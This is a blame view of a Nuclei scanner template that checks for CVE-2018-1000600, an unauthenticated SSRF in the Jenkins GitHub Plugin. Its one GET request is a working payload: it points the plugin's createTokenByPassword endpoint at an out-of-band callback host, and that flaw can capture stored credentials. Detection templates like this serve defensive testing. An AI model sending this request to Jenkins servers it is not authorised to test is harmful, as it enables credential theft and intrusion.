daffainfo
/
nuclei-templates
mirror of https://github.com/daffainfo/nuclei-templates.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity
nuclei-templates/cves/2018/CVE-2018-1000600.yaml

28 lines
1.1 KiB
YAML
Raw Normal View History

More CVEs Template
2021-07-26 17:18:45 +00:00
id: CVE-2018-1000600
info:
name: Pre-auth Fully-responded SSRF
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes
2022-04-22 10:38:41 +00:00
author: geeknik
severity: high
description: A exposure of sensitive information vulnerability exists in Jenkins GitHub Plugin 1.29.1 and earlier in GitHubTokenCredentialsCreator.java that allows attackers to an attacker-specified URL using attacker-specified
credentials IDs obtained through another method, capturing credentials stored in Jenkins.
More CVEs Template
2021-07-26 17:18:45 +00:00
reference:
- https://www.jenkins.io/security/advisory/2018-06-25/#SECURITY-915
- https://devco.re/blog/2019/01/16/hacking-Jenkins-part1-play-with-dynamic-routing/
Added cve annotations + severity adjustments
2021-09-10 11:26:40 +00:00
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes
2022-04-22 10:38:41 +00:00
cvss-score: 8.8
Added cve annotations + severity adjustments
2021-09-10 11:26:40 +00:00
cve-id: CVE-2018-1000600
cwe-id: CWE-200
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes
2022-04-22 10:38:41 +00:00
tags: cve,cve2018,jenkins,ssrf,oast
More CVEs Template
2021-07-26 17:18:45 +00:00
requests:
- method: GET
path:
- "{{BaseURL}}/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword?apiUrl=http://{{interactsh-url}}"
matchers:
- type: word
part: interactsh_protocol # Confirms the HTTP Interaction
words:
- "http"